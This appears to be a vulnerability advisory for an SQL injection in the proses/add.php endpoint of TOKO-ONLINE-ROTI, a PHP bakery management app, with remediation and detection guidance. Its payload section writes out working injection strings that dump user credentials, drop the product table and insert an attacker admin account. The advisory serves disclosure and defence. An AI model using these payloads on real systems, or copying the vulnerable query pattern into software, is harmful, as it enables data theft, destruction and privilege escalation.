Executive Summary
A high-severity SQL injection vulnerability has been identified in the proses/add.php endpoint of TOKO-ONLINE-ROTI, an open-source PHP bakery point-of-sale and product management application developed by RafyMrX. Two POST parameters — kode_produk (product code) and kd_cs (customer/session code) — are passed directly into SQL queries without proper sanitization or the use of prepared statements.
A remote attacker, with or without authentication depending on how the application routes access to the add endpoint, can inject arbitrary SQL through either parameter. Successful exploitation can result in full database exfiltration, manipulation of product and order records, or escalation of application privileges. All versions up to and including commit ddfe1cd587be0a0b5135d8b6e85cce2ec3aece99 are confirmed affected.
Vulnerability Overview
| Field | Details |
|---|---|
| CVE ID | CVE-2026-15490 |
| CVSS Score | 7.3 (HIGH) |
| Vulnerability Type | SQL Injection (CWE-89) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | Low |
| Availability Impact | Low |
| Affected Component | proses/add.php |
| Affected Parameters | kode_produk, kd_cs (POST) |
| Disclosure Date | 2026-07-12 |
Affected Versions
| Product | Vendor | Affected Versions |
|---|---|---|
| TOKO-ONLINE-ROTI | RafyMrX | All versions up to and including commit ddfe1cd587be0a0b5135d8b6e85cce2ec3aece99 |
No patched release is available at the time of disclosure. Operators should apply the mitigations described in the Remediation section below.
Attack Surface
TOKO-ONLINE-ROTI is a PHP bakery management system that handles product catalog management, customer orders, and inventory. The proses/add.php script processes form submissions for adding new product entries to the system. It accepts multiple POST parameters representing product attributes, two of which — kode_produk (a product identifier code) and kd_cs (a customer or session identifier) — are inserted into SQL statements without parameterization.
The vulnerable code pattern follows a structure similar to:
// Simplified representation of the vulnerable code in proses/add.php
$kode_produk = $_POST['kode_produk'];
$kd_cs = $_POST['kd_cs'];
$nama_produk = $_POST['nama_produk'];
$harga = $_POST['harga'];
$query = "INSERT INTO produk (kode_produk, kd_cs, nama_produk, harga)
VALUES ('$kode_produk', '$kd_cs', '$nama_produk', '$harga')";
mysqli_query($conn, $query);Both $kode_produk and $kd_cs are interpolated directly into the SQL string. An attacker controlling these values can break out of the string literal and inject additional SQL statements.
SQL Injection Payload Examples
Basic Injection Test
Sending the following in a POST request to /proses/add.php confirms the injection point is live:
POST /proses/add.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
kode_produk=P001'&kd_cs=1&nama_produk=Test&harga=10000
A database error in the response (or an unexpected application state) confirms that the single quote was processed as SQL syntax rather than as data.
UNION-Based Data Extraction via kode_produk
Once the column count of the target query is determined, UNION SELECT can be used to extract data:
-- Determining column count with ORDER BY
kode_produk=P001' ORDER BY 5--
-- Extracting database version and user
kode_produk=P001' UNION SELECT 1,version(),user(),4,5--
-- Extracting table names from information_schema
kode_produk=P001' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- Extracting User Credentials
Once table names are known, credentials can be dumped:
kode_produk=P001' UNION SELECT 1,username,password,4,5 FROM users-- Injection via kd_cs Parameter
The kd_cs parameter is independently injectable:
-- Authentication bypass or record manipulation via kd_cs
kd_cs=1' OR '1'='1' --
-- UNION extraction via kd_cs
kd_cs=1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users-- Stacked Queries (if database driver permits)
If the PHP database driver permits multiple statements in a single call:
kode_produk=P001'; DROP TABLE produk; --
kode_produk=P001'; INSERT INTO users (username,password,role) VALUES ('attacker','hash','admin'); -- Impact
Successful exploitation of CVE-2026-15490 can result in:
- Full database exfiltration: An attacker can dump all tables in the application database, including product catalog, customer records, order history, and user credentials.
- Order and inventory manipulation: By injecting into the product add workflow, an attacker can insert fraudulent product records, modify existing entries, or corrupt pricing data — directly impacting business operations.
- Privilege escalation: If the users table is accessible, attackers can create new administrator accounts or modify existing account roles, granting themselves persistent elevated access.
- Data integrity loss: Stacked query attacks (where supported by the driver configuration) can enable destructive operations such as dropping tables or truncating records.
- Credential theft and reuse: Password hashes extracted from the database can be cracked offline. If users share passwords across services, these credentials may be usable for further compromise.
- Supply chain risk: In a bakery or retail context, customer order data and payment-adjacent information may be subject to regulatory requirements (PCI DSS, PIPEDA, GDPR). A breach of this data may carry legal and compliance consequences for the operator.
Remediation
1. Parameterized Queries (Primary Fix)
All SQL queries must be rewritten to use prepared statements. This is the only reliable fix for SQL injection:
// Secure replacement using MySQLi prepared statements
$stmt = $conn->prepare(
"INSERT INTO produk (kode_produk, kd_cs, nama_produk, harga)
VALUES (?, ?, ?, ?)"
);
$stmt->bind_param("sssd", $_POST['kode_produk'], $_POST['kd_cs'], $_POST['nama_produk'], $_POST['harga']);
$stmt->execute();With prepared statements, user-supplied values are bound as typed parameters and are never interpreted as SQL syntax.
2. Input Sanitization and Validation
Apply allowlist validation to both parameters before they reach any SQL layer:
kode_produk: Restrict to alphanumeric characters and hyphens; enforce a maximum length.kd_cs: Validate as a positive integer; reject any value that is not a numeric session or customer ID.
// Example validation for kode_produk
if (!preg_match('/^[A-Z0-9\-]{1,20}$/', $_POST['kode_produk'])) {
http_response_code(400);
exit('Invalid product code');
}
// Example validation for kd_cs
if (!filter_var($_POST['kd_cs'], FILTER_VALIDATE_INT, ['options' => ['min_range' => 1]])) {
http_response_code(400);
exit('Invalid session identifier');
}3. Principle of Least Privilege
Audit the database account used by the application and remove any permissions beyond what is strictly necessary:
-- Grant only required permissions; revoke dangerous ones
REVOKE DROP, CREATE, ALTER, EXECUTE, FILE ON *.* FROM 'app_user'@'localhost';
GRANT SELECT, INSERT, UPDATE ON toko_roti.* TO 'app_user'@'localhost';4. Error Suppression in Production
Disable PHP error display in production environments to prevent database error messages from leaking schema information to attackers:
; php.ini production settings
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log5. Web Application Firewall
Deploy a WAF with SQL injection detection rules (e.g., ModSecurity with the OWASP Core Rule Set) as an additional layer of defense. This reduces the window of exposure while a code-level fix is developed and deployed.
6. Apply Patch or Monitor Upstream
Monitor the upstream repository at https://github.com/RafyMrX/TOKO-ONLINE-ROTI for patch releases and apply them promptly. If the endpoint is not essential for the current deployment, consider temporarily disabling access to proses/add.php at the web server level until a fix is available.
Detection Indicators
Signs of active exploitation or reconnaissance targeting this vulnerability include:
- POST requests to
/proses/add.phpcontaining SQL metacharacters inkode_produkorkd_csfields: single quotes ('), double dashes (--), hash (#), UNION keywords, or SELECT/FROM tokens - Abnormally long values submitted to
kode_produkorkd_cs(exceeding typical product code lengths) - URL-encoded SQL syntax in request logs:
%27(single quote),%20UNION%20,%20SELECT%20 - Database error strings appearing in HTTP responses:
You have an error in your SQL syntax,mysql_fetch_array(),Warning: mysqli_query() - Unusual patterns in the product table: records with garbled codes, injected values, or entries with impossible timestamps
- Repeated POST requests from a single IP to
/proses/add.phpwith varying parameter values (automated injection scanning)